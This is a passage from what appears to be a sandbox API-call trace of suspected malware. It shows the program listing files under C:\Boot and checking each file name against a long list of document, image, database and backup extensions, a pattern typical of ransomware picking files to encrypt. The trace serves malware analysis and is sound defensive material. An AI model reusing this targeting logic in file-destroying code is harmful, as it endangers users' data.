	[0160.646] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dot") returned 4
	[0160.646] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dotm") returned 5
	[0160.646] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dotx") returned 5
	[0160.646] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dpx") returned 4
	[0160.646] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dqy") returned 4
	[0160.646] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dsn") returned 4
	[0160.646] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dt") returned 3
	[0160.646] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1
	[0160.646] lstrlenW (lpString=".dtd") returned 4
	[0160.646] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dwg") returned 4
	[0160.646] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dwt") returned 4
	[0160.646] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".dx") returned 3
	[0160.646] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1
	[0160.646] lstrlenW (lpString=".dxf") returned 4
	[0160.646] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".edml") returned 5
	[0160.646] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1
	[0160.646] lstrlenW (lpString=".efd") returned 4
	[0160.646] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".elf") returned 4
	[0160.646] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".emf") returned 4
	[0160.646] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1
	[0160.647] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0160.647] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0160.647] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0160.647] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0160.648] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.648] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0160.648] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0160.648] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0160.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.648] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0160.648] lstrlenW (lpString="bootspaces.dll") returned 14
	[0160.648] lstrlenW (lpString=".1cd") returned 4
	[0160.648] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0160.648] lstrlenW (lpString=".3ds") returned 4
	[0160.648] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0160.648] lstrlenW (lpString=".3fr") returned 4
	[0160.648] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0160.648] lstrlenW (lpString=".3g2") returned 4
	[0160.648] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0160.648] lstrlenW (lpString=".3gp") returned 4
	[0160.648] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0160.648] lstrlenW (lpString=".7z") returned 3
	[0160.648] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0160.649] lstrlenW (lpString=".accda") returned 6
	[0160.649] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0160.649] lstrlenW (lpString=".accdb") returned 6
	[0160.649] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0160.649] lstrlenW (lpString=".accdc") returned 6
	[0160.649] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0160.649] lstrlenW (lpString=".accde") returned 6
	[0160.649] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0160.649] lstrlenW (lpString=".accdt") returned 6
	[0160.649] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0160.649] lstrlenW (lpString=".accdw") returned 6
	[0160.649] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0160.649] lstrlenW (lpString=".adb") returned 4
	[0160.649] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".adp") returned 4
	[0160.649] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".ai") returned 3
	[0160.649] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0160.649] lstrlenW (lpString=".ai3") returned 4
	[0160.649] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".ai4") returned 4
	[0160.649] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".ai5") returned 4
	[0160.649] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".ai6") returned 4
	[0160.649] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".ai7") returned 4
	[0160.649] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".ai8") returned 4
	[0160.649] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".anim") returned 5
	[0160.649] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0160.649] lstrlenW (lpString=".arw") returned 4
	[0160.649] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0160.649] lstrlenW (lpString=".as") returned 3
	[0160.649] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0160.649] lstrlenW (lpString=".asa") returned 4
	[0160.649] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".asc") returned 4
	[0160.650] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".ascx") returned 5
	[0160.650] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0160.650] lstrlenW (lpString=".asm") returned 4
	[0160.650] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".asmx") returned 5
	[0160.650] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0160.650] lstrlenW (lpString=".asp") returned 4
	[0160.650] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".aspx") returned 5
	[0160.650] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0160.650] lstrlenW (lpString=".asr") returned 4
	[0160.650] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".asx") returned 4
	[0160.650] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".avi") returned 4
	[0160.650] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".avs") returned 4
	[0160.650] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".backup") returned 7
	[0160.650] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0160.650] lstrlenW (lpString=".bak") returned 4
	[0160.650] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".bay") returned 4
	[0160.650] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".bd") returned 3
	[0160.650] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0160.650] lstrlenW (lpString=".bin") returned 4
	[0160.650] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".bmp") returned 4
	[0160.650] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".bz2") returned 4
	[0160.650] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0160.650] lstrlenW (lpString=".c") returned 2
	[0160.650] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0160.650] lstrlenW (lpString=".cdr") returned 4
	[0160.650] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cer") returned 4
	[0160.651] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cf") returned 3
	[0160.651] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0160.651] lstrlenW (lpString=".cfc") returned 4
	[0160.651] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cfm") returned 4
	[0160.651] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cfml") returned 5
	[0160.651] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0160.651] lstrlenW (lpString=".cfu") returned 4
	[0160.651] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".chm") returned 4
	[0160.651] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cin") returned 4
	[0160.651] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".class") returned 6
	[0160.651] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0160.651] lstrlenW (lpString=".clx") returned 4
	[0160.651] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".config") returned 7
	[0160.651] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0160.651] lstrlenW (lpString=".cpp") returned 4
	[0160.651] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cr2") returned 4
	[0160.651] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".crt") returned 4
	[0160.651] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".crw") returned 4
	[0160.651] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0160.651] lstrlenW (lpString=".cs") returned 3
	[0160.653] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0160.653] lstrlenW (lpString=".css") returned 4
	[0160.653] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".csv") returned 4
	[0160.653] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".cub") returned 4
	[0160.653] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dae") returned 4
	[0160.653] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dat") returned 4
	[0160.653] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".db") returned 3
	[0160.653] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0160.653] lstrlenW (lpString=".dbf") returned 4
	[0160.653] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dbx") returned 4
	[0160.653] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dc3") returned 4
	[0160.653] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dcm") returned 4
	[0160.653] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dcr") returned 4
	[0160.653] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".der") returned 4
	[0160.653] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0160.653] lstrlenW (lpString=".dib") returned 4
	[0160.653] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0160.654] lstrlenW (lpString=".dic") returned 4
	[0160.654] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0160.654] lstrlenW (lpString=".dif") returned 4
	[0160.654] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0160.654] lstrlenW (lpString=".divx") returned 5
	[0160.654] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0160.654] lstrlenW (lpString=".djvu") returned 5
	[0160.654] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0160.654] lstrlenW (lpString=".dng") returned 4
	[0160.654] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".doc") returned 4
	[0160.654] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".docm") returned 5
	[0160.654] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0160.654] lstrlenW (lpString=".docx") returned 5
	[0160.654] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0160.654] lstrlenW (lpString=".dot") returned 4
	[0160.654] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dotm") returned 5
	[0160.654] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0160.654] lstrlenW (lpString=".dotx") returned 5
	[0160.654] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0160.654] lstrlenW (lpString=".dpx") returned 4
	[0160.654] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dqy") returned 4
	[0160.654] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dsn") returned 4
	[0160.654] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dt") returned 3
	[0160.654] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0160.654] lstrlenW (lpString=".dtd") returned 4
	[0160.654] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dwg") returned 4
	[0160.654] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dwt") returned 4
	[0160.654] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0160.654] lstrlenW (lpString=".dx") returned 3
	[0160.654] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0160.655] lstrlenW (lpString=".dxf") returned 4
	[0160.655] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".edml") returned 5
	[0160.655] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0160.655] lstrlenW (lpString=".efd") returned 4
	[0160.655] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".elf") returned 4
	[0160.655] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".emf") returned 4
	[0160.655] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".emz") returned 4
	[0160.655] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".epf") returned 4
	[0160.655] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".eps") returned 4
	[0160.655] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".epsf") returned 5
	[0160.655] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0160.655] lstrlenW (lpString=".epsp") returned 5
	[0160.655] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0160.655] lstrlenW (lpString=".erf") returned 4
	[0160.655] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".exr") returned 4
	[0160.655] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".f4v") returned 4
	[0160.655] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".fido") returned 5
	[0160.655] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0160.655] lstrlenW (lpString=".flm") returned 4
	[0160.655] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".flv") returned 4
	[0160.655] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".frm") returned 4
	[0160.655] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".fxg") returned 4
	[0160.655] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0160.655] lstrlenW (lpString=".geo") returned 4
	[0160.655] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".gif") returned 4
	[0160.656] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".grs") returned 4
	[0160.656] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".gz") returned 3
	[0160.656] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0160.656] lstrlenW (lpString=".h") returned 2
	[0160.656] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0160.656] lstrlenW (lpString=".hdr") returned 4
	[0160.656] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".hpp") returned 4
	[0160.656] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".hta") returned 4
	[0160.656] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".htc") returned 4
	[0160.656] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".htm") returned 4
	[0160.656] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".html") returned 5
	[0160.656] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0160.656] lstrlenW (lpString=".icb") returned 4
	[0160.656] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".ics") returned 4
	[0160.656] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".iff") returned 4
	[0160.656] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".inc") returned 4
	[0160.656] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".indd") returned 5
	[0160.656] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0160.656] lstrlenW (lpString=".ini") returned 4
	[0160.656] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0160.656] lstrlenW (lpString=".iqy") returned 4
	[0160.657] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".j2c") returned 4
	[0160.657] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".j2k") returned 4
	[0160.657] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".java") returned 5
	[0160.657] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0160.657] lstrlenW (lpString=".jp2") returned 4
	[0160.657] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".jpc") returned 4
	[0160.657] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".jpe") returned 4
	[0160.657] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".jpeg") returned 5
	[0160.657] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0160.657] lstrlenW (lpString=".jpf") returned 4
	[0160.657] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".jpg") returned 4
	[0160.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".jpx") returned 4
	[0160.657] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".js") returned 3
	[0160.657] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0160.657] lstrlenW (lpString=".jsf") returned 4
	[0160.657] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".json") returned 5
	[0160.657] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0160.657] lstrlenW (lpString=".jsp") returned 4
	[0160.657] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".kdc") returned 4
	[0160.657] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".kmz") returned 4
	[0160.657] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".kwm") returned 4
	[0160.657] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0160.657] lstrlenW (lpString=".lasso") returned 6
	[0160.657] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0160.657] lstrlenW (lpString=".lbi") returned 4
	[0160.658] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".lgf") returned 4
	[0160.658] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".lgp") returned 4
	[0160.658] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".log") returned 4
	[0160.658] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".m1v") returned 4
	[0160.658] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".m4a") returned 4
	[0160.658] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".m4v") returned 4
	[0160.658] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".max") returned 4
	[0160.658] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".md") returned 3
	[0160.658] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0160.658] lstrlenW (lpString=".mda") returned 4
	[0160.658] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mdb") returned 4
	[0160.658] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mde") returned 4
	[0160.658] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mdf") returned 4
	[0160.658] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mdw") returned 4
	[0160.658] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mef") returned 4
	[0160.658] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mft") returned 4
	[0160.658] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mfw") returned 4
	[0160.658] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mht") returned 4
	[0160.658] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0160.658] lstrlenW (lpString=".mhtml") returned 6
	[0160.658] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0160.658] lstrlenW (lpString=".mka") returned 4
	[0160.659] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mkidx") returned 6
	[0160.659] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0160.659] lstrlenW (lpString=".mkv") returned 4
	[0160.659] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mos") returned 4
	[0160.659] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mov") returned 4
	[0160.659] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mp3") returned 4
